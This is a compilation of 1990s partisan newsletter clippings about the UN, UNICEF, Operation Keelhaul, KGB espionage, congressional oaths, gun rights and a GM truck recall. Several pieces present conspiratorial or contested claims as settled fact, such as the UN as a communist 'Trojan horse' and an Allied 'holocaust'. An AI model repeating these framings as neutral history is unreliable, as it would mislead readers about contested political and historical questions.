had pledged more than $300 million in aid to the new communist regime led by terrorist Robert Mugabe. OCTOBER 25, 1971. The General Assembly voted to admit Mao Tse-tung's Red China into the UN, and ousted Nationalist (Free) China. In an unprecedented move, Secretary-General Thant subsequently expelled Free China's press representatives from UN headquarters. The 1975 edition of The Guinness Book of World Records reported that the "greatest massacre in human history ever attributed to any nation is that of 26,300,000 Chinese during the regime of Mao Tse-tung be- tween 1949 and May, 1965." APRIL 16, 1974. The United Nations Children's Fund (UNICEF) announced plans to aid communist North Vietnam and areas held by the Vietcong in the South. The program, described in a report by UNICEF director Henry Labouisse, called for $18 million of the $22.5 million amount to be spent in the North. NOVEMBER 13, 1974. Yasir Arafat, leader of the terrorist Palistine Liberation Organization (PLO), addressed the UN General Assembly. It was the first time that a representative of any group lacking offcial UN status had appeared before the assembly. In subsequent months, the PLO was invited to participate in many UN agencies, and the UN announced on October 7, 1978 that its Secretariat had launched a $500,000 publicity campaign to, among other things, create a moderate image for the PLO in the United States and other Western countries. APRIL 2, 1992. The U.S. Senate ratified the United Nations Covenant on Civil and Political Rights, many provisions of which are diametrically opposed to tenets of our own Bill of Rights. Article 20, for instance, requires states "to prohibit by law any propaganda for war and any advocacy of national, racial or religious hatred that constitutes incite- ment to discrimination, hostility or violence." In the United States, the right to preach, print, and propagandize even wrong-headed views has been one of our most cherished and vigorously defended freedoms. JULY 1993. The UN Economic and Social Council (ECOSOC) granted consul- tive status to the International Lesbian and Gay Association (ILGA), a coalition which includes the North American Man-Boy Love Association (NAMBLA). NAMBLA promotes pedophilia and advocates sex with children as young as six years old. On January 26, 1994, the U.S. Senate unani- mously voted to withhold $118.8 million in fiscal year 1994, and in 1995 if necessary, from the U.S. annual contribution to the UN unless ECOSOC severed its ties with ILGA. In September 1994, ECOSOC did indeed suspend ILGA, but only until the homosexual group proves that it has in turn cut ties with NAMBLA and any other groups that condone, promote, or seek to legalize adult-child sexual relations. [end] @START@Trick or Treat! * The New American * April 3, 1995 * UNICEF: BEHIND THE MASK +++++++++++++++++++++++ By William P. Hoar Halloween trick or treating and greeting cards are what most Americans think about when they hear the name UNICEF. The greeting card operation alone, according to a recent Yearbook of the United Nations, brings in an annual take of $76.6 million. But behind the marketing facade that supposedly raises funds for international child welfare programs is an agenda to augment the power and influence of global government. UNICEF specifically supports, as noted in its State of the World's Child- ren, 1994, "sustainable development following the guidelines of Agenda 21, the blueprint for the world's environment agreed to at the 'Earth Summit' in Rio de Janeiro in 1992." An Agenda 21 document acknowledges that it "proposes an array of actions which are intended to be implemented by every person on earth...." One outgrowth of UNICEF's 1990 World Summit for children was the Convention on the Rights of the Child. It was pushed through in 1990, has 176 signa- tories, but has yet to be ratified by the United States. Hillary Clinton announced at a memorial service for James Grant, the late head of UNICEF, that the U.S. would, in his honor, sign the world pact and send it to the Senate for ratification. Proponents argue that the plight of children is so ghastly as to require that there be an immediate world "right" to protect them; but they also insist that the resultant "protections" (at least in the U.S.) would be so meaningless that no one should worry about any changes that might occur. Are we to believe that global power grabbers would spend so much effort on empty symbolism? Former UN consultant Graham Hancock points out in his book, The Lords of Poverty: The Power, Prestige and Corruption of the International Aid Business, that "personnel and associated costs" absorb some "80 percent of all UN expenditures," with UNICEF and other "humanitarian" agencies spending an inordinate amount on self-promotion. But in view of some of the "beneficiaries" of UNICEF aid, the inordinate administration cost is not necessarily bad news. Consider the help given the communists in Vietnam (or substitute other dictatorships for similar results). As Robert Heinl of the Detroit News commented in a May 1975 column called "UNICEF Aided Vietnam Fall": Last fall when you gave the kids trick-or-treat money for UNICEF Christams cards, did it occur that you, and behind you, the U.S. Government, were bankrolling the Communist takeover of South Vietnam" Well, you were.... UNICEF collected and disbursed a total of $13,649,433 for its Indochina children's programs....Of this eight-figure sum, $8,976,587 went to Communist recipients: $6,313,130 diectly to Hanoi and $1,975,567 more - via Haiphong and Hanoi, of course - to the Viet Cong.... Here's more recent notoriety: Auditors for UNICEF itself have found it necessary to criticize the agency's propensity for bribery payments - sometimes euphemistically called "salary supplements" or "commissions." According to a UN audit conducted for the auditors general of Britain, Ghana, and India, "the practice appears to be widespread among United Nations organizations, multilateral and bilateral organizations and non- governmental organizations." The problems of bribery, reported the New York Times for December 25, 1994, are "particularly pervasive" in Africa. However, the most bothersome thing seems not to be the amount of bribery, nor the principle. Such payments, commented the Times, "divert money from development efforts and pose the risk of steadily increasing. Indeed, the auditors did not stress the amount involved but rather the potential threat to programs." In other words, if the complicity with bribery and graft becomes known, the scam might suffer and globalizing efforts be set back. The plight of children remains part of the shell game. [end] @START@WWII Forced Repatriation / Operation Keelhaul * The Future of Freedom Foundation * April 1995 * REPATRIATION - THE DARK SIDE OF WORLD WAR II: PART III By Jacob G. Hornberger ++++++++++++++++++++++++++++++++++++++++++++++ Adolf Hitler did not trust Andrey Vlasov. The Russian general had served in the Russian army since the Russian Revolution. He had fought hard and valiantly in the successful defense of Moscow. It was only because of Stalin's refusal to permit Vlasov and his men to retreat during the subsequent battle at Leningrad that the German forces had defeated and captured Vlasov. It was difficult for Hitler to believe that Vlasov was now willing to lead captured Russian soldiers against Stalin and his communist regime. So, it was not until the very end of the war - January 1945 - that Hitler finally relented and permitted Vlasov to lead Russian POWs into battle against the Russian army. But by this time, Germany was close to defeat. The forces under Vlasov's command - some 50,000 Russian soldiers - played a minor military role in the war. Ironically, Vlasov's forces did have one very interesting military victory. The Czech underground sought their assistance in helping to liberate Czechoslovakia from Nazi control! Vlasov, who despised the Nazis as much as he hated the communists, agreed to help. The Saturday Evening Post later reported: Prague really was liberated by foreign troops, after all. Not by the Allies who did not arrive until the shooting was all over, but by 22,000 Russian outlaws wearing German uniforms. The leader of these renegades was General Vlasov, a former hero of the Red Army. The battlefield was obviously chaotic. The Russians were approaching from the east. The Americans and British were approaching from the west. Vlasov and his forces were in the middle, the German forces were at his back. On May 7, 1945, Germany capitulated. Vlasov knew that Stalin was not a forgiving man. After his capture, Vlasov had openly defied the communists and communism. He had tried to arouse the Russian people to revolt against their communist tyrants. Vlasov knew that capture meant certain death for him and his men. Andrey Vlasov chose to surrender to American forces. He did not know that Franklin D. Roosevelt, Harry S. Truman, Winston Churchill, and Joseph Stalin had already sealed his fate. He did not know that these four rulers of the Allied powers had already committed themselves to one of the worst holocausts in history. He did not know that evil pervaded not only the Nazi and communist regimes, but the American and British regimes, as well. Part of the Yalta Agreement between the Big Three - Stalin, Roosevelt, and Churchill - involved the repatriation of Russians and Americans to their respective homelands. Keep in mind that the German POW camps contained American prisoners, British prisoners, and Russian prisoners. The Big Three agreed that as the Russians liberated Germany POW camps. American and British POWs would be turned over to the American and British forces. As the Americans and British liberated German POW camps, Russian POWs would be returned to Russia. There was one problem with this agreement - a problem that each of the Big Three was well aware of. American and British POWs wanted to return to their own forces. RUSSIAN POWS DID NOT WANT TO RETURN TO RUSSIAN FORCES BECAUSE THEY KNEW THE FATE THAT AWAITED THEM. Stalin wanted revenge. The Russian prisoners were traitors to communism. They deserved to die. And Roosevelt and Churchill felt the exact same way. Russia was "our friend." Stalin was "Uncle Joe" to the American people. Any Russian who had defied Uncle Joe - any Russian who had opposed our communist friends and allies - deserved to be executed. The revenge and ensuing holocaust had to be kept secret from the world. The American and British people had to continue maintaining their illusion that this was a war of good versus evil - that only the Nazis engaged in cold-blooded murder - that the Allies epitomized all the goodness of mankind. Therefore, the Big Three spelled out their plans not just in the official Yalta agreement but, also, in a March 31, 1945, secret codicil to the agreement. As James Sanders, Mark Sauter, and R. Cort Kirkwood point out in their shooking book, Soldiers of Misfortune (1992), the codicil was kept secret from the American and British people for FIFTY YEARS. The codicil outlined the secret plan by which the Russian POWs would be forcibly returned to Stalin's clutches. American government officials called their part in the holocaust Operation Keelhaul. In his book Operation Keelhaul (1973), Julius Epstein described the meaning of the term: To keelhaul is the cruelest and most dangerous of punishments and tortures ever devised for men aboard a ship. It involves trussing a man up with ropes, throwing him overboard, unable to swim, and hauling him under the boat's kell from one side to the other, or even from stem to stern. Most of those keelhauled under water are already dead when their punishment is over. And Epstein describes his reaction to the choice of this term by American government officials to describe their part in the Allied holocaust: That our Armed Forces should have adopted this term as its code name for deporting by brutal force to concentration camp, firing squad, or hangman's noose millions who were already in the lands of freedom, shows how little the high brass thought of their longing to be free. The roles played by each of the conspirators was clear: Roosevelt and Churchill would force the Russian anticommunists into Stalin's hands. The communists would take over from there and do the actual killing. How many were turned over to the Russians by American and British forces? TWO MILLION INDIVIDUALS. Yes, two million Russian people sent back to the communists where they were either immediately executed or sent to die in the Gulag. It was not easy to "persuade" the Russian prisoners to return to the communists. Sometimes, subterfuge was used. Epstein details several examples. One took place on May 28, 1945, in Lienz, Austria. British forces ordered all Cossack officials to attend an important British conference with high British officials. The Cossacks were told to leave their coats since they would be back by six in the evening. Their famalies were advised so that family members would not worry over their short absence. When the Cossacks appeared nervous, an English officer told them, "I assure you on my word of honor as a British officer that you are just going to a conference." The 2,749 Cossacks - 2,201 of whom were officers - were driven straight into a prison camp and were advised by British officials that the Soviet authorities would soon arrive to pick them up. Epstein writes: One Cosack officer remarked: "The NKVD or the Gestapo would have slain us with truncheons, the British did it with their word of honor." The first to commit suicide by hanging was the Cossack editor Evgenji Tarruski. The second was General Silkin who shot himself....The Cossacks refused to board [the trucks]. British soldiers with pistols and clubs began using their clubs, aiming at the heads of the prisoners. They first dragged the men out of the crowd and threw them into the trucks. The men jumped out. They beat them again and threw them onto the floor of the trucks. Again, they jumped out. The British then hit them with rifle butts until they lay unconscious and threw them like sacks of potatoes in the trucks. The same scenes were repeated all along the lines - two million Russian people tricked and beaten by British and American forces so that Stalin could finish the job later on. Some of this dirty work even took place on American soil. Epstein describes what happened to Russian POWs who were imprisoned at Fort Dix, New Jersey: First, they refused to leave their barracks when ordered to do so. The military police then used tear gas, and, half-dazed, the prisoners were driven under heavy guard to the harbor where they were forced to board a Soviet vessel. Here the two hundred immediately started to fight. They fought with their bare hands. They started - with considerable success - to destroy the ship's engines.... A sergeant...mixed barbiturates into their coffee. Soon, all of the prisoners fell into a deep, coma-like sleep. It was in this condition that the prisoners were brought to another Soviet boat for a speedy return to Stalin's hangmen. Andrey Vlasov - the man who hated communism - the man who hated Nazism - carefully explained his position and reasoning to the American generals. In his book Vlasov, Sven Steenberg describes Vlasov's conversation with one of his American captors: He began to speak, at first slowly and dispassionately, but then with growing intensity. For one last time, he spoke of all the prospects, hopes, and disappointments of his countrymen. He summed up everything for which countless Russians had fought and suffered. It was no longer really to the American that he was addressing himself - this was rather a confession, a review of his life, a last protest against the destiny that had brought him to a wretched end....[Vlasov] stated that the leaders of the ROA were ready to appear before an international court, but that it would be a monumental injustice to turn them over to the Soviets and thereby to certain death. It was not a question of volunteers who had served the Germans, but of a political organiza- tion, of a broad opposition movement which, in any event, should not be dealt with under military law. Vlasov could not know that he was a dead man before he even surrendered to American forces. Roosevelt, Stalin, Churchill, and Truman had already decided that he needed to be executed for the "crime" of betraying his own government. There was no need to go through the time, expense, trouble, and possible embarrassment of a trial. All that needed to be done was for the Americans to turn him over to their friendly executioner, "Uncle Joe" Stalin. American military officials delivered Andrey Vlasov to Soviet military authorities. On August 2, 1946, the Soviet press reported that Andrey Vlasov had been hanged by Soviet officials for "treason as well as active espionage and terrorist activity against the Soviet Union." Unfortunately, all of the facts of the forcible repatriation of the Russian anticommunists have not been revealed. American and British government officials take the position that "national security" will be jeopardized if the citizenry is ever permitted to know all of the details of the Allied holocaust. Thus, fifty years after world War II, American "adults" are still not permitted by their public officials to see the government's files and records on America's involvement in the "good war" and, specifically, in the Allied holocaust. As with most claims of "national security," the concern is not so much with the security of the nation but rather with the security of the U.S. government and, specifically, the U.S. military-industrial complex. For it is entirely possible that the American people will finally pierce through all the lies and deceptions that have clouded their minds since the first grade in public schools to which their parents were forced to send them. It is quite possible that they will recognize the wisdom of their Founding Fathers - and see that the biggest threat to their well- being lies not with some foreign government, but rather with their own government. Was the Allied holocaust the end of the repatriation story? Unfortunately, no. the last chapter of Stalin's, Roosevelt's, Truman's, and Churchill's horrid tale of deception, brutality, and murder involves Americans "liberated" from German POW camps by the Russians - and the role played in this chapter by the U.S. government, the same government that has always insisted that the American people "support the troops." [end] Mr. Hornberger is founder and president of The Future of Freedom Foundation. 11350 Random Hills Road, Suite 800 Fairfax, VA 22030 Tel. (703) 934-6101 Fax. (703) 803-1480 One year subscriptions for Freedom Daily is $15. @START@UNcompatibility [Excerpt] The UN's vision of "peace" and the communist vision of "peace" are identical - a fact which was candidly recog- nized by no less an authority than former UN secretary- general U Thant. In a message sent to a 1970 UNESCO symposium on Lenin held in Finland, Thant declared: Lenin was a man with a mind of great clarity and incisiveness, and his ideas have had a profound influence on the course of contempor- ary history....[Lenin's] ideals of peace and peaceful coexistence among states...are in line with the aims of the U.N. Charter..."[1] Note: [1] "Lenin Aims Like U.N.'s, Thant Says," Los Angeles Times, April 7, 1970 Source: "Freedom On The Alter: The UN's Crusade Against God & Family" By William Norman Grigg (c)1995, First Printing...March, 1995, p.26 @START@UNmuzzle our legislature! [excerpt] * UN BARS CONGRESSIONAL INVESTIGATION. On February 29, 1992, U.S. Army Colonel Albert C. Zapanta returned to the United States after a six-month tour of duty with a UN peacekeeping force in Western Sahara. One of 30 Americans sent there to monitor an election, Zapanta had complained about being neglected by the UN, threatened by neighboring Moroccans, and forced to live under danger- ous circumstances. A Senate Foreign Affairs African subcommittee sought to hear Zapanta's testimony about his ordeal. But State Department officials barred his appearance because a UN regulation for- bids those who serve in UN missions to give information to national legislatures, even their own. The U.S. had already contributed $43.3 million for this mission. The Bush Admin- istration did nothing to challenge this outrageous UN policy that amounted to another step away from national sovereignty. Notes: Barbara Crossette, "Congress Scrutinizes Peacekeeping Test Case," New York Times, March 1, 1992. Source: "Changing Command: The Betrayal of America's Military" By John F. McManus (c)1995, First Printing...March 1995, p.36. With permission. @START@Governing principles! It can't be repeated too often that, in the Declaration of Independence, our Founding Fathers asserted the revolution- ary and "self evident" truth that "men...are endowed by their Creator with certain unalienable Rights." The Founders went on to assert, "to secure these Rights, Governments are insti- tuted among Men." Note the logical sequence: 1) God exists; 2) God creates man and endows him with rights; and 3) Man creates government to protect those rights. The individual precedes and is superior to government. Our Constitution is not a body of law to govern the people; it was formulated to govern the government, to make government the servant and not the master of the people. Source: Global Tyranny...Step By Step: The United Nations and the Emerging New World Order By William F. Jasper (c)1992 p.147 @START@UNenlightening Facts! (II) Excerpts: GLOBAL TYRANNY...STEP BY STEP: The United Nations and the Emerging New World Order By: Willaim F. Jasper --------------------------------- From Chapter 4, REDS, p.65 Support for the UN was even written into the Communist Party's basic document. The preamble to the constitution of the Communist Party, USA states: The Communist party of the United States...fights uncompromisingly against...all forms of chauvinism...It holds further that the true national interest of our country and the cause of peace and progress require...the strengthening of the United Nations as a universal instrument of peace. [10] ---------------------------------- p.66 Another former top Communist Party member, Joseph Z. Kornfeder, revealed in 1955: Now, as to the United Nations. If you were, let's say, a building engineer, and someone were to show you a set of blueprints about a certain building, you would know from those blueprints how that building was going to look. Organization "blueprints" can be read the same way. I need not be a member of the United Nations Secretar- iat to know that the UN "blueprint" is a Communist one. I was at the Moscow headquarters of the world Communist party for nearly three years and was acquainted with most of the top leaders, and, of course, I was also a leading party worker. I went to their colleges; I learned their pattern of operations, and if I see that pattern in effect anywhere, I can recognize it... From the point of view of its master designers meeting at Dumbarton Oaks and Bretton Woods, and which included such masterful agents as Alger Hiss, Harry Dexter White, Lauchlin Currie, and others, the UN was, and is, NOT a failure. They and the Kremlin masterminds behind them never intended the UN as a peace-keeping organization. What they had in mind was a fancy and colossal Trojan horse under the wings of which their smaller agencies could more effectively operate. And in that they succeeded, even beyond their expectations... Its [the UN's] internal setup, Communist designed, is a pattern for sociological conquest; a pattern aimed to serve the purpose of Communist penetration of the West. It is ingenious and deceptive. [12] Two years earlier (1953), a congressional committee heard testimony from Colonel Jan Bukar, a Czechoslovakian intelligence officer who had defected to the West. Among revelations he supplied was a lecture given by Soviet General Bondarenko at the Frunze Military Academy in Moscow. In that lecture, Bondarenko told the elite trainees: "From the rostrum of the United Nations, we shall convince the colonial and semicolonial people to liberate themselves and to spread the Communist theory all over the world." [13] ----------------------- p.72 Among the many defectors from the communist bloc countries who have testified about the importance of the UN in the Soviet scheme of things is former KGB operative Ladislav Bittman. In his book THE KGB AND SOVIET DISINFORMATION: AN INSIDER'S VIEW, Bittman wrote: The United Nations is an international organization that deserves special attention for the role it plays in overt and clandestine propaganda campaigns conducted by the Soviets. As an organization that helps to shape world public opinion and plays a vital peace- keeping role, the United Nations is a major battlefield for the Soviet union and the United States...But the Soviet Union maintains the most impressive intelligence organization, consisting of the largest single concentration of Soviet spies anywhere in the West... Spying in New York is so pervasive that some diplomats refer to the United Nations as "the stock exchange of global intelligence operations." [27] Arkady Shevchenko, who was an under-secretary-general at the UN when he defected in 1978, has described the United Nations as a "gold mine for Russian spying." [28] The most senior official to defect to the West, Shevchenko was a personal assistant to Soviet Foreign Secretary Andrei Gromyko from 1970 to 1973. He then became Under-Secreatry-General for Political and Security Council Affairs at the United Nations. Shevchenko confirmed what anti-communists had been saying all along: The Soviet Politburo regarded detente as simply "a tactical manoeuvre which would in no way supersede the Marxist-Leninist idea of the final victory of the worldwide revolutionary process." [29] And the United Nations was continu- ing to play an essential role in that process. "In spite of this and other exposures," said Pincher in 1985, "the Inter- national Department and the KGB have not reduced the scale of their opera- tions out of the United Nations and its offshoots, being unable to resist the facility, denied to ordinary diplomats, that renders UN staff free to travel, without restriction, in the countries where they are based." [30] KGB defector Oleg Gordievsky gave a similar assessment: The size of the KGB presence in both the United States and the UN delegation in New York increased more rapidly at the height of detente than at any other period: from about 120 officers in 1970 to 220 in 1975. At the very moment when the London residency was being sharply cut back, those in the United States were almost doubling in size. [31] It should be of no small concern to American taxpayers to learn that they have been subsidizing these KGB campaigns of espionage, subversion, and disinformation against their own country. In his massive 1964 study, KGB: THE SECRET WORK OF SOVIET SECRET AGENTS, John Barron revealed: The KGB derives still another advantage from placing its officers on the United Nations payroll. Since the United States pays 25 percent of the entire U.N. operating budget, it pays 25 percent of the bountiful salaries granted KGB officers insinuated into U.N. jobs. American taxpayers thus are compelled to finance KGB opera- tions against themselves and the noncommunist world. Moreover, the Soviet Union requires its citizens paid by international organizations to rebate the greater part of their salaries to the government. Thus, it actually makes money each time it plants a KGB officer in the U.N. [32] -------------------------- p.75 The KGB has undergone a number of recent permutations, but to paraphrase Mark Twain, reports of its death are highly exaggerated. Zdzislaw Rurarz, the former Polish ambassador to Japan who defected to the United States in 1981, was one of the few Soviet experts to take notice of Boris Yeltsin's sinister new security superagency, the MSIA. Rurarz reported in January 1992 that Boris's MSIA "is an amalgam of four previously existing institu- tions: the USSR MVD, or the Ministry of Internal Affairs, the Russian MVD, the ISS, or Interrepublican Security Service, which was mainly the former KGB, and the FSA, the Federal Security Agency, or the Russian equivalent of the former KGB." "The MSIA has inherited the network of informers and collaborators of the former KGB and ISS which was in place throughout the USSR. Why," asks Rurarz, "should Russia need such a network in the remaining former Soviet republics, now 'independent states'?" [37] An obvious question - that yields an obvious answer - except to "liberals" who are too busy planning new welfare schemes on which to spend the "peace dividend," and to "conser- vatives" who are too busy celebrating and congratulating themselves on their victory over communism. Commenting on the Kremlin security reshuffling, Albert L. Weeks wrote in April 1992 that the "new" Russian agency under Viktor Barannikov "means that 500,000 officials and informers function today as a separate entity, going about their business largely as before. Thousands of other ex-KGBists work for Yevgeny Primakov, director of the Russian Foreign Intelligence Agency." Dr. Weeks, professor emeritus of New York University and author of numerous articles and books about the Soviet Union, also noted that "90-95% of middle- ranking KGB officers remain in the same positions as before the August, 1991, coup attempt, according to a recent defector...." [38] NOTES ===== [10] G. Edward Griffin, THE FEARFUL MASTER: A SECOND LOOK AT THE UNITED NATIONS (Appleton, WI: Western Islands, 1964), pp.76-7. [12] Ibid., p.120. [13] Executive Hearings before the House Committee on Un-American Activities, May 13 and 14, 1953, SOVIET SCHEDULE FOR WAR - 1955 (Washington: United States Government Printing Office, 1953), p.1721. [27] Ladislav Bittman, THE KGB AND SOVIET DISINFORMATION: AN INSIDER'S VIEW (McLean, VA: Permagon-Brassey's International Defense Publishers, 1985), pp.56-7. [29] Chapman Pincher, THE SECRET OFFENSIVE (New York: St. Martin's Press, 1985), p.204. [30] Ibid., pp.129-30. [31] Christopher Andrew and Oleg Gordievsky, KGB: THE INSIDE STORY OF ITS FOREIGN OPERATIONS FROM LENIN TO GORBACHEV (New York: Harper Collins, 1991), pp.539-40. [32] Barron, KGB: THE SECRET WORK OF SOVIET SECRET AGENTS, p.20. [37] Zdzislaw Rurarz, "YELTSIN'S POLICE," Washington Inquirer, January 4, 1992, p.4. [38] Albert L. Weeks, "KGB'S UNDIMISHED POWER HAUNTS RUSSIAN REFORM," Washington Inquirer, April 17, 1992, pp.1,7. [end] @START@YGBK! A guard at Lakeside, California's El Capitan High School spotted a gun in a student's car. The school wants to expel the boy, but his parents claim that he suffers from Attention Deficit Disorder (which is why he forgot the gun was in his car) and that removing him would be a violation of federal laws banning discrimination against the handicapped. So far, the courts have sided with the parents. Source: Reason Brickbats April 1995 @START@The "weak link!" * The New American * Publisher's Page * 3/6/95 * HONOR THE OATH! +++++++++++++++ By John F. McManus At the start of a new Congress, every member of the House and Senate is required to swear the following solemn oath: Do you swear that you will support and defend the Constitution of the United States against all enemies foreign and domestic; that you will bear true faith and allegiance to the same; that you take this obligation freely, without any mental reservation or purpose of evasion; and that you will faithfully discharge the duties of the office on which you are about to enter - so help you God? Representative Richard Pombo (R-CA) recalls his deep sense of responsibility as he and his colleagues took that oath in January 1993. He remembers being filled with pride, gratitude, and an awe as a newly elected congressman. Pride in being able to stand as a member of such an august body. Gratitude to those who had sent him as their representative. And awe because he was now standing where so many remarkable Americans of the past had stood to "faithfully discharge the duties" of their office. SAD AWAKENING But his pride changed to sadness and anger at an incident that occurred immediately after the oath had been administered. Congressman Pombo recalls: We had no sooner completed the oath when one of my colleagues rose to ask that full congressional voting privileges be given to the non-voting delegates from Guam, the Virgin Islands, American Samoa, Puerto Rico, and the District of Columbia. His opening words astounded me. He said that he considered the matter "one of fairness, not of constitutionality." He obviously knew that the Constitution requires that members of Congress come from the "states." And he also knew that the District of Columbia and the territories were not states. Yet he was calling on all of us to disregard this eminently clear portion of the document and to place his definition of "fairness" above the Constitution. this was my chilling introduction to service in the U.S. House of Representatives. The chamber's walls were still echoing the solemn oath taken by each of us when one member asked us to disregard it. The oath he had taken was a formality for him; its real meaning obviously counted for nothing. NECESSARY CORRECTION Last September, more than 300 Republican House candidates and incumbents signed their party's "Contract with America." It mentions the Constitution only twice: to call for amendments and to discount claims that some of the "Contract" violates the Constitution. One of the most well-known features of the GOP "Contract" is its call for a constitutional amendment requiring a balanced budget. Incoming House Speaker Newt Gingrich (R-GA) and many others in Congress would have Americans believe that the Constitution is deficient, and that enormous deficits can be combated in no other way but by amendment. But the Constitution isn't deficient; Congress is. And the House that Gingrich now leads is where proper corrective action can and should be taken. Article I, Section 7 begins: "All bills for raising revenues shall originate in the House..." If the House won't introduce a bill to spend, there is nothing the Senate, the President, the courts, or anyone can do about it. Therefore, Gingrich and company, committed Americans have some strong advice for you: Leave the Constitution alone! You and your colleagues are not bound by any oath to your "Contract." Each of you is bound by an oath to the Constitution which gives you all the authority you need to balance the federal budget. You have the power of the purse, and you have it because the Founders of this nation wanted it in the hands of the House, the congressional body the people can change every second year. If a majority of House members (218) really wants a balanced budget, it can be accomplished without tinkering with, discrediting, or doing further damage to the Constitution. WHO IS TO BLAME? Senators are as guilty as representatives of disregarding the Constitution. Nor do we mean to disregard guilt on the part of the President and federal judges at every level. Though their oaths of office may differ slightly, all federal officials are required to swear allegiance to the U.S. Constitution. Who is to blame for the ongoing travesty that is leading our nation toward destruction? Certainly all federal officials who discount the Constitution and the solemn oath they take must receive abundant condemnation. But blame also lies with the American people who allow their elected representatives to treat the Constitution with contempt. Sound government under the U.S. Constitution will return only when enough Americans are educated enough to demand that our nation's leaders adhere uncompromisingly to the true "law of the land." [end] @START@Schindler's List...Spielberg's Slip! [Excerpt] Of the highly acclaimed motion picture Schindler's List which tells the story of the survivors, Helena Silber said that "the ending depicted [in the film] at the Brinnlitz factory was, well, not quite right." In a March 18, 1994, article by Washington Times reporter Matt Neufeld, Helena Silber tells the rest of the story: The truth, she explains, was far more dramatic: Toward the end of the war, Oskar Schindler obtained guns for his workers. He wanted the Jews to be able to defend themselves if the Nazis decided to slaughter them. The author of the book Schindler's List says Mrs. Silber's account tallies with those of other survivors. Thomas Keneally says Schindler bribed the governor of the Moravian province for the arms. The workers then prepared for "a pitched battle." Mrs. Silber wonders why the film's ending wasn't entirely accurate: "If he [Spielberg]--had gotten me, I would have told him." Movie Director Steven Spielberg's omission of this essential part of history could not be because it was not known. Thomas Keneally wrote of the firearms acquisition in his book. He reported: During the winter, Oskar [Schindler] built up an independent arsenal...Most of the weapons, in any case, came from a flawless source, from Obersturmbannfuher Rasch, SS and police chief of Moravia. The small cache included carbines and automatic weapons, some pistols, some hand grenades... Once Oskar had the weapons, he appointed Uri Bejski, brother of the rubber-stamp maker, keeper of the arsenal... Having selected a small body of prisoners for training, Uri took one at a time into Salpeter's storehouse to teach them the mechanisms of the Gewehr 41 W's [semi-automatic military-style rifles]. In producing the movie, perhaps someone along the line felt that this part of history was not "politically correct" given the force of today's anti-gun sentiment--particularly in light of the popularized misconcep- tion that semi-automatic firearms are "assault weapons" and unsuitable for self-defense. >From Mr. Keneally's account, there is no doubt that Jewish survivors of the holocaust were fully prepared to defend themselves with just such semi-automatic firearms. No part of those historical atrocities should be forgotten or rewritten or covered up for political reasons. [End of excerpt] Source: Guns, Crime, and Freedom By Wayne LaPierre, pages 87 & 88 @START@Keep on truck'n... * America's Future, Inc. * Jan/95 * GM TRUCK RECALL WAS ALL POLITICS ++++++++++++++++++++++++++++++++ In a surprise turnabout, the Department of Transportation announced recently that it would not pursue the recall of a controversial General Motors pickup truck after all. The decision has far reaching implications. Transportation Secretary Federico Pena had made headlines with his planned recall of General Motors C/K pickup trucks because of an alleged safety threat to drivers. Pena claimed that the location of the truck's "side- saddle" gas tanks made the vehicle prone to catch fire if struck from the side. He said that "approximately 150 people have died as a result of side- impact fires in these trucks, in crashes that were otherwise survivable." Pena added that "GM management ... appears to have made a decision favoring sales over safety." The recall was heralded by the Center for Auto Safety, a group founded by consumer activist and auto-industry foe, Ralph Nader. It referred to the GM truck in question as a "rolling fireball" and had campaigned long and hard for its recall. However, less than two months after his initial announcement, the Transportation Secretary dropped his recall effort. In return, GM agreed to pony up a cool $51 million to support auto safety research and buy 200,000 child safety seats for low-income families. By contrast, the recall would have cost the giant automaker a fortune. Some 9 million C/K trucks were built between 1973 and 1987. In any event, why did Pena change his mind on the recall? The answer reveals a classic example of regulatory excess. In announcing his recall decision, the Transportation Secretary discarded a wealth of research data - produced by his own agency - that showed the truck in question to be as safe as any other on the road. In fact, the GM pickups had about the same fatality rate from side-impact crashes as other similar trucks made by Chrysler and Ford. And, it performed far better in side-impact crashes than did the average passenger car built during the same period. In fact, the National Highway Traffic Safety Administration, or NHTSA - the agency within the Transportation Department that handles auto safety issues - was about to conclude an investigation showing that the trucks did not pose an "unreason- able risk," and that they met all relevant safety standards when produced. Marion Blakey, a former administrator at NHTSA, recently noted that "agency engineers certified that the C/K pickups not only met but exceeded the federal safety standard. Senior career officials unanimously recommended that the investigation be closed." Nonetheless, Pena went ahead with his recall campaign. Writing in the Washington Post, Blakey called the Secre- tary's decision "a troubling precedent." It set aside, he wrote, "an exhaus- tive investigation by professional government researchers that had determined the trucks met the federal safety standard." Worse, according to Blakey, the decision appeared to apply an arbitrary safety standard for one type of vehicle made by one auto manufacturer. "Instead of setting a clear bar for manufacturers to jump over," he wrote, "it told car companies that in the future they must jump and then the department would decide how high the safety bar really was." As the former highway safety official concluded: "If American manufacturing cannot count on government to stand by its own regulations, the result will be increased costs and damaged American competitiveness abroad." With any luck, the new Republican majority in Congress will make it a priority to rein in these regulators, who make it their daily practice to hound productive Americans, and who cost the economy hundreds of billions of dollars. Although consumer activists and trial lawyers were unhappy, Transportation Secretary Pena's decision to drop the recall campaign against GM may be a sign that the Washington bureaucracy is already getting the message from last November's congressional election. -------------------------------------------------------------------------- Behind the Headlines, written by Philip C. Clarke, is a syndicated column distributed by America's Future. It is available to interested newspapers and other publications on a gratis basis as a service of this non-profit educational organization. For more information, please write or call Mr. John Wetzel, c/o America's Future Inc., P.O. Box 1625, Milford, Pa. 18337 (717) 296-2800. @START@YGBK! "We also pay tribute to the people's republic of Cuba and to Comrade Fidel Castro. In size, the people's republic of Cuba is a small country... But there is one thing where that country stands head and shoulders above most of the countries of the world: it is its love of human rights and of freedom." - Nelson Mandela, May 10, 1990 Source: The New American June 29, 1992 @START@Haitian History of Democracy (?) (From) LARRY ABRAHAM'S INSIDER REPORT October 1994 THE INSIDE SCOOP ++++++++++++++++ America's Folly Is Only Exceeded By Haiti's -------------------------------------------- I thought you might be interested to see the wonderful example of democracy in action as it has prevailed in Haiti since 1804: Ruled Fate ----- ---- Jean-Jacques Dessalines 1804-06 shot *Henri Christophe 1807-20 suicide Alexander Petion 1807-18 died of illness Jean-Pierre Boyer 1818-43 fled to France Charles Herard 1843-44 fled Philippe Guerrier 1844-45 died of old age Jean-Louis Pierrot 1845-46 unknown Jean-Baptiste Riche 1846-47 unknown Faustin Soulouque 1847-59 fled to Jamaica Fabre Geffrard 1859-67 fled to Jamaica Sylvain Saenave 1867-69 executed Nissage Saget 1870-74 retired Michel Domingue 1874-76 fled to Jamaica Boisrond Canal 1876-79 fled to Jamaica E. Felicite Salomon 1879-88 fled to France F. Florvil Hyppolite 1889-96 apoplexy Tiresias Simon Sam 1896-1902 fled 